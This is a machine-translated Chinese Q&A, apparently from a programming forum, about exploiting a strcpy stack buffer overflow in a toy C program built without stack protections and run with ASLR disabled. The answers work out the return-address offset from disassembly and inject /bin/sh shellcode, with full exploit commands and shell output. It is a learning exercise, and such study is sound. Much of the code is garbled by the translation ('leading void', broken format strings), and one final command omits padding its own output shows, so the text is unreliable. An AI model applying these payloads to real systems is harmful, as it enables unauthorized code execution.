问题描述
我正试图用 shellcode 控制这个程序。
#include <string.h>
#include <stdio.h>
void func (char * arg)
{
char name [32];
strcpy (name,arg);
printf ("\ nHello% s \ n \ n",name);
}
int main (int argc,char * argv [])
{
if (argc! = 2) {
printf ("Usage:% s NAME \ n",argv [0]);
exit (0);
}
func (argv [1]);
printf ("End of program \ n \ n");
return 0;
}
对于 40 Aes,这是发生段违规的时间,因此 EIP 记录已被覆盖。由于我的 shellcode 有 23 个字符长,我输入了 17 个 Aes 来利用它。但是我需要“名称”缓冲区开头的地址,以便 shellcode 在那里运行。 在这种情况下,因为只有一个变量,所以知道 ESP 的地址是值得的,因为作为堆栈的顶部,它将匹配。 我看过这个程序,它可以为您提供一个接近 ESP 的地址:
#include <stdio.h>
unsigned long get_sp (void) {
__asm __ ("movl% esp,% eax");
}
leading void () {
printf ("0x% x \ n",get_sp ());
}
但是,我总是收到段违规信号,执行以下操作:
./my_program `perl -e 'print" \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 ". "A" x17. "ESP address" '`
程序是这样编译的:
gcc -fno-stack-protector -D_FORTIFY_SOURCE = 0 -z norelro -z execstack my_program.c -o my_program
如何获取缓冲区或 ESP 开头的极端地址?
解决方法
0。关闭 ASLR
为了轻松完成,我们可以禁用 ASLR。在现实世界的漏洞利用中,我们需要对地址进行暴力破解,因为地址是随机的。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
1。编译
ammarfaizi2@integral:~/ex/exp$ cat my_program.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func(char *arg)
{
char name[32];
strcpy(name,arg);
printf("\nHello %s \n\n",name);
}
int main(int argc,char *argv[])
{
if (argc != 2) {
printf("Usage: %s NAME \n",argv[0]);
exit(0);
}
func(argv[1]);
printf("End of program \n\n");
return 0;
}
ammarfaizi2@integral:~/ex/exp$ gcc -fno-stack-protector -zexecstack -m32 my_program.c -o my_program
ammarfaizi2@integral:~/ex/exp$
2.计算偏移量
0000122d <func>:
122d: f3 0f 1e fb endbr32
1231: 55 push %ebp
1232: 89 e5 mov %esp,%ebp
/*
*
* At this point,we know what return address is located at
* 0x4(%ebp).
*
*/
1234: 53 push %ebx
1235: 83 ec 24 sub $0x24,%esp
1238: e8 f3 fe ff ff call 1130 <__x86.get_pc_thunk.bx>
123d: 81 c3 8f 2d 00 00 add $0x2d8f,%ebx
1243: 83 ec 08 sub $0x8,%esp
1246: ff 75 08 push 0x8(%ebp)
1249: 8d 45 d8 lea -0x28(%ebp),%eax
124c: 50 push %eax
124d: e8 5e fe ff ff call 10b0 <strcpy@plt>
/*
*
* At this point,we know that the command line argument
* is copied to -0x28(%ebp)
*
*/
1252: 83 c4 10 add $0x10,%esp
1255: 83 ec 08 sub $0x8,%esp
1258: 8d 45 d8 lea -0x28(%ebp),%eax
125b: 50 push %eax
125c: 8d 83 3c e0 ff ff lea -0x1fc4(%ebx),%eax
1262: 50 push %eax
1263: e8 38 fe ff ff call 10a0 <printf@plt>
1268: 83 c4 10 add $0x10,%esp
126b: 90 nop
126c: 8b 5d fc mov -0x4(%ebp),%ebx
126f: c9 leave
1270: c3 ret
- 要覆盖
-0x28(%ebp)
的返回地址,我们需要写入0x4 - (-0x28)
字节(44 字节)。 - 我们有 23 个字节的 shell 代码。
- 我们需要 21 个字节的填充来使我们的有效负载为 44 个字节才能到达返回地址。
- 我们需要4个字节恶意返回地址,我们目前取
\x11\x11\x11\x11
,因为我们还不知道。
测试执行
ammarfaizi2@integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x21,"\x11\x11\x11\x11"')
Hello 1�Ph//shh/bin��PS��
AAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
ammarfaizi2@integral:~/ex/exp$ dmesg | tail -n 2
[56448.175467] my_program[117895]: segfault at 11111111 ip 0000000011111111 sp 00000000ffffd3c0 error 14 in my_program[56555000+1000]
[56448.175493] Code: Bad RIP value.
ammarfaizi2@integral:~/ex/exp$
此时我们已经能够覆盖 EIP
值。所以接下来就是找到shell代码地址了。
3.查找Shell代码地址
请注意,当 leave
和 ret
撤消 esp
值时会发生段错误。所以我们需要找出func
栈帧创建时减去了多少字节。
注意 esp
的变化
; From main function
call func ; -4 bytes
; Setup stack frame
push %ebp ; -4 bytes
mov %esp,%ebp ; At this point %ebp = %esp
我们撤销-8个字节,我们的shell代码位于-0x28(%ebp)
。所以我们总共有 -48 个字节。
最后一个段错误在 SP = 0xffffd3c0
因此目标返回地址是 0xffffd3c0 - 48 = 0xffffd390
。
4.执行漏洞利用
请注意,x86 是小端字节序,因此我们需要(按字节)反转我们的有效负载。
-
ffffd390
我们把它写成\x90\xd3\xff\xff
。 - 因此将
\x11\x11\x11\x11
替换为\x90\xd3\xff\xff
ammarfaizi2@integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\x90\xd3\xff\xff"')
Hello 1�Ph//shh/bin��PS��
AAAAAAAAAAAAAAAAAAAAA����
$ date
Sat Apr 3 14:47:02 WIB 2021
$ whoami
ammarfaizi2
$ exit
ammarfaizi2@integral:~/ex/exp$
,
1.关闭 ASLR 和编译
cat /proc/sys/kernel/randomize_va_space
0
gcc -fno-stack-protector -zexecstack -m32 prog.c -o prog2
08048474 <func>:
8048474: 55 push %ebp
8048475: 89 e5 mov %esp,%ebp
8048477: 83 ec 38 sub $0x38,%esp
804847a: 8b 45 08 mov 0x8(%ebp),%eax
804847d: 89 44 24 04 mov %eax,0x4(%esp)
8048481: 8d 45 d8 lea -0x28(%ebp),%eax
8048484: 89 04 24 mov %eax,(%esp)
8048487: e8 e4 fe ff ff call 8048370 <strcpy@plt>
804848c: b8 d0 85 04 08 mov $0x80485d0,%eax
8048491: 8d 55 d8 lea -0x28(%ebp),%edx
8048494: 89 54 24 04 mov %edx,0x4(%esp)
8048498: 89 04 24 mov %eax,(%esp)
804849b: e8 c0 fe ff ff call 8048360 <printf@plt>
80484a0: c9 leave
80484a1: c3 ret
080484a2 <main>:
80484a2: 55 push %ebp
80484a3: 89 e5 mov %esp,%ebp
80484a5: 83 e4 f0 and $0xfffffff0,%esp
80484a8: 83 ec 10 sub $0x10,%esp
80484ab: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484af: 74 22 je 80484d3 <main+0x31>
80484b1: 8b 45 0c mov 0xc(%ebp),%eax
80484b4: 8b 10 mov (%eax),%edx
80484b6: b8 f5 85 04 08 mov $0x80485f5,%eax
80484bb: 89 54 24 04 mov %edx,0x4(%esp)
80484bf: 89 04 24 mov %eax,(%esp)
80484c2: e8 99 fe ff ff call 8048360 <printf@plt>
80484c7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80484ce: e8 cd fe ff ff call 80483a0 <exit@plt>
80484d3: 8b 45 0c mov 0xc(%ebp),%eax
80484d6: 83 c0 04 add $0x4,%eax
80484d9: 8b 00 mov (%eax),%eax
80484db: 89 04 24 mov %eax,(%esp)
80484de: e8 91 ff ff ff call 8048474 <func>
80484e3: c7 04 24 05 86 04 08 movl $0x8048605,(%esp)
80484ea: e8 91 fe ff ff call 8048380 <puts@plt>
80484ef: b8 00 00 00 00 mov $0x0,%eax
80484f4: c9 leave
80484f5: c3 ret
2.测试执行
./prog2 $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A" x21 . "\x11\x11\x11\x11"')
Hello 1▒Ph//shh/bin▒▒PS▒▒
̀AAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
dmesg | tail -n 2
[82020.945063] prog2[11078]: segfault at d0080484 ip bffff71c sp bffff760 error 5
[82669.199863] prog2[11100]: segfault at 11111111 ip 11111111 sp bffff760 error 14
最后一个段错误在 0xbffff760,所以:0xbffff760 - 48 = 0xbffff718
./prog2 $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\ x53\x89\xe1\xb0\x0b\xcd\x80" . "A" x21 . "\x18\xf7\xff\xbf"')
你好1▒Ph//shh/bin▒▒PS▒▒ ̀AAAAAAAAAAAAAAAAAAAAA▒▒▒
分段错误(核心转储)
dmesg | tail -n 2
[82669.199863] prog2[11100]: segfault at 11111111 ip 11111111 sp bffff760 error 14
[82857.841068] prog2[11108] general protection ip:bffff718 sp:bffff760 error:0